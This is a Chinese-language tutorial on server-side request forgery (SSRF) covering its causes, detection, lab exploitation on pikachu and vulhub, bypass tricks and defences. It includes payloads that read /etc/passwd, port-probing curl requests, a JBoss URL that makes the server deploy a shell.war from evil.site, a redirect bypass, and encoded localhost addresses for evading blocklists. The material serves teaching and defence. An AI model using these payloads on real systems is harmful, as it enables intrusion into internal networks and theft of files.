目录
- SSRF服务端请求伪造
- 一、定义
- 二、漏洞成因
- 三、漏洞探测
- 四、漏洞利用
- 五、复现pikachu靶场SSRF实验,并且探测靶机端口开放情况。
- 六、利用SSRF探测内网环境并获取shell
- 七、绕过技巧
- 八、SSRF防御方案
- 九、总结
SSRF服务端请求伪造
一、定义
SSRF(Server-Side Request Forgery)服务端请求为伪造,SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
如果一个web应用会将外部输入的参数作为URL,然后访问这个URL,那么攻击者就可以构造特定的参数值让服务端访问制定的URL,该访问行为是服务器程序预期之外的,这种攻击叫做SSRF攻击,web应用中的这种漏洞叫做SSRF漏洞。这里输入的参数不一定是完整的URL,也可以是域名、IP地址、端口号等,攻击者能伪造这些值,从而使服务端访问预期外的内容。
eg:
有些提供翻译服务的网站允许用户提交一个网页的URL,然后对整个网页进行翻译,再返回翻译后的结果。
伪代码:
<?php
$content = file_get_contents($_GET['url']);
echo translate($content);
?>
由于服务端的翻译引擎必须访问网页的URL获取原始内容,如果攻击者构造特定的URL,就可以让服务端作为代理去访问它,并且获取访问的结果。
类似的场景有很多
比如:
1.web应用需要调用不同的外部接口,让客户端提交接口的地址;
2.在一些允许用户提交一个图片URL作为头像的应用种,web应用需要拉去这个图片并裁剪,这些场景都有可能存在SSRF漏洞。
url link探测内网信息:
Web 应用一般都有自己的内网环境,它与外网是隔离的,攻击者无法直接访问内网服务但是通过Web应用的SSRF 漏洞,攻击者可以访问内网服务或者对内网应用发起攻击,这是常见的SSRF攻击方式。
例如:
/translate.php?url=http://192.168.1.100:8080/
这种攻击与之前讲的远程文件包含有点像,只不过远程文件包含指的是服务端应用加载和执行远程脚本,实际上远程文件包含漏洞也是 SSRF 漏洞。此外,存在 SSRF 漏洞的应用如果使用 fle://协议,攻击者也能读取服务器上的本地文件,从而导致敏感信息泄露
比如:
/translate.php?url=file:///etc/passwd
在PHP中,除了fle_get_contents函数,其他的网络库也能产生 SSRF 漏洞。
二、漏洞成因
除了在 Web 应用中显式加载一个外部输入的 URL,还有多种原因可能产生 SSRF漏洞。
常见的SSRF漏洞成因有以下几种:
(1)Web 应用使用网络库获取外部资源或调用外部接口。前面介绍的简单案例就属于这种情况,这也是最常见的SSRF 漏洞成因。
(2)文件解析库产生网络请求。比如,解析存在外部实体 (XXE)的 XML文件,将会发起网络请求,部分Ofice 文档库在解析时也会发起网络请求。
(3)应用程序允许通过外部参数指定配置,如通过外部参数传入数据库连接地址、通过外部输入参数来指定LDAP参数。
(4)使用了无头浏览器(无头浏览器是一种没有图形界面的web浏览器,可以通过编程来控制无头浏览器自动执行各种任务,比如做测试,给网页截屏等)
比如,Phantomis 和Selenium经常被用于渲染网页,然后检测或抓取网页中的内容,用它们可以加载指定的 URL,或者在网页中嵌入指定URL 的资源,如果没有相应的参数过滤或者网络隔离措施,则可能产生 SSRF 漏洞。这在爬虫场景中比较常见,攻击者可以构造恶意的网页,当其被爬取并渲染后,就能实现 SSRF 攻击。
(5)应用程序的后端在执行安全检测时发起了网络访问。如果即时通信软件或者邮件系统提供了网址安全检测的功能,用于防止用户发送的链接中包含钓鱼页面、违法内容等,服务端的内容检测引擎就会访问用户发送的 URL以进行安全检测,在这个场景中也会发生 SSRF攻击
三、漏洞探测
对于常见的参数,像URL、src/link等,我们将值设置为“https://www.baidu.com”,如果返回的内容含有百度首页的源码特征,就可以判定该应用存在SSRF漏洞;但是在有些场景中,web应用并不会返回访问的URL内容,在这种情况下,我们可以使用dnslog作为目标URL,或者使用自己搭建的服务器,查看相关日志,是否有访问记录来确定是否存在漏洞。
四、漏洞利用
1.PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP基于表单的上传、代理、cookies和用户名+密码的认证。
演示靶场:pikachu
打开靶场进入环境:
修改请求的url地址:
访问本地地址:
通过此信息发现,可以借助此漏洞来访问外网服务的内容,以及内网环境的一些信息。
2.file_get_content,file_get_contents() 把整个文件读入一个字符串中。使用方法与上面相似。
语法:file_get_contents(path,include_path,context,start,max_length)
> 参数 描述
> path 必需。规定要读取的文件。
> include_path 可选。如果您还想在 include path(在php.ini中)中搜索文件的话,请设置该参数为"1"
> context 可选,规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略
> start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1中新增的
> max_length 可选。规定读取的字节数。该参数是PHP 5.1中新增的
演示靶场:pikachu
打开进入环境:
观察url信息,发现file参数,猜测可以访问本地的文件,尝试访问:
成功访问到本地的文件
查看源码,可查看完整内容:
3.fsockopen()
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
五、复现pikachu靶场SSRF实验,并且探测靶机端口开放情况。
如果服务端返回的错误信息,可以根据错误信息探测敏感信息。通过 SSRF 漏洞,攻击者可以探测内网域名或 IP 地址是否存在,端口是否开放,如果服务端会返回错误信息,攻击者就可以很方便地探测这些信息。
测试方法基本和以上类似,可切换不同所支持的协议进行测试。
例如,根据下面的息可以判断第一个域名是存在的,第二个不存在,本机的 22 端口开放,23 端口不开放:
curl 'http://example.com/translate.php?url=http://wiki.example.com'
Failed to connect to wiki.example.com port 80: Connection refused%~
curl 'http://example.com/translate.php?url=http://rumilc.example.com'
Resolving timed out after 1002 milliseconds~
curl 'http://example.com/translate.php?url=http://127.0.0.1:22'
Received HTTP/0.9 when not allowed~
curl 'http://example.com/translate.php?url=http://127.0.0.1:23'
Failed to connect to 127.0.0.1 port 23: Connection refused
六、利用SSRF探测内网环境并获取shell
漏洞可测试环境:vulhub/weblogic/ssrf
在大部分场景下,存在SSRF漏洞的应用只可以使用HTTP/HTTPS一些发起请求,而且通常限制了请求的方法。
但是,攻击者仅利用这一点就能攻击很多带有漏洞的内网应用。
例如,Stuts2 的多个远程代码执行漏洞只需要一个 GET 请求就能实现。而且,很多中间件的管理控制台在内网是开放的,甚至可以无密码登录。
例如JBoss 的MX-Console 通常不会对外网开放并且未授权就能访问,如果构造如下 URL 实施 SSRF 攻击,就能让服务器部署一个远程的恶意应用:
http://localhost:8080/jmx-console/HtmlAdaptor?action-invokeOpaname-jboss.system:service=MainDeployer&methodIndex-17sarg0-http://evil.site/shell.war
类似的提供 HTTP 接口的服务非常多,比如 MongoDB、CouchDB、Docker、ElasticSearch、Jenkins、Tomcat等等,它们可能都存在未授权访问,可导致敏感信息泄露或者远程代码执行。
七、绕过技巧
1.因为 SSRF 通常被用来攻击内网应用,所以不少开发者针对 SSRF 漏洞做的防御方案,只是简单地限制URL 中的地址不允许为内网域名或内网IP 地址。但是很多HTTP 库会跟随HTTP跳转,因此前述防御方案就可以通过非常简单的跳转方式绕过。攻击者在自己的域名 evil.site中放一个test.php 文件,其作用就是跳转到一个内网地址:
<?php
header("Location: http://localhost:8080/");
?>
使用 http://evil.site/redirect.php 就可以绕过服务端的内网域名限制。另外,有很多短网址服务可以更方便地实现这个操作,但是前提是应用中使用的 HTTP 库支持跟随跳转。
使用一个伪造的域名也能轻易地绕过黑名单检测。比如攻击者申请一个域名 evil.site,修改它的A 记录,解析到 127.0.0.1,也可以通过 SSRF 攻击访问服务器本身。
2.以下地址都是在访问http://127.0.0.1:8080
http://localhost:8080/
http://127.1:8080
http://2130706433:8080
http://0.0.0.0:8080
http://017700000001:8080 十六进制的127.0.0.1
http://127.127.127.127:8080
八、SSRF防御方案
SSRF漏洞并没有固定的防御方案,要根据实际的场景选择适合的方案,但是开发者应当尽最避免使用黑名单来限制 URL,而是采用白名单方式。
如下的安全建议可供参考:
(1) 校验协议类型。在大部分应用中,需要访问的目标都是有明确的协议类型的,应当使用白名单的机制做校验,仅允许使用指定的协议来访问。
(2) 如果应用调用的接口有限,应当使用白名单 URL 的方式,限制仅能访问指定的 URI这样就能避免SSRF攻击。但是域名/IP 地址的匹配规则要写得严谨些,避免被绕过
(3) 如果应用的需求是允许用户填任意的域名或 IP 地址——通常是用于访问互联网的URL,这种场景就比较复杂,没有办法使用白名单校验。我们需要防止它访问内网,如果输入的URL中主机名是IP 地址,需要校验IP 地址是否为公网IP 地址。如果输入的主机名是域名则要通过 DNS 解析得到它的 IP 地址,再校验 IP 地址是否为公网IP 地址。
(4) 在解析用户输入的 URL 过程中,需要提取协议、主机、端口、路径等信息,应当尽量使用成熟的 URL解析库。
如 PHP 中的 parse url0、Python 中的 urlib.parseurlparse0,而不要自己手写正则表达式来提取信息.
(5) 对用户输入的参数做安全校验。比如,在多种协议走私的攻击中都要用到 CRLF,在上面的LDAP 协议走私案例中,如果滤掉/etc/passwd 字段的非法字符就能阻止攻击发生。更安全的做法是仅允许出现特定的白名单字符。
(6) 大部分应用中使用的 HTTP 库支持 HTTP/HTTPS 就够了,应当禁用其他多余的协议类
(7) 内网应用无授权访问将导致 SSRF 漏洞被进一步利用,所以即使是内部应用,也建议做认证和授权。这样做还能限制攻击者通过其他漏洞入侵后产生的横向移动,这是纵深防御的保障。
(8)在应用中访问 URL 后,应当校验返回内容的合法性,如果有预期数据格式之外的内容应当将其记录到日志中,以方便进一步排查问题。同时,在访问发生错误之后,也不要将错误信息的原始内容直接返回给访问者
九、总结
SSRF 漏洞实际上是边界防护方案对外开了个口子,攻击者实施 SSRF 攻击就可以穿透网络隔离进入内网。
而企业内网的安全防御建设普遍都非常欠缺,以往核心应用一直藏在内网中,现在通过 SSRF 漏洞有机会攻击内网应用,这就吸引了众多安全研究者探索各种通过 SSRF 漏洞攻击内网应用的途径。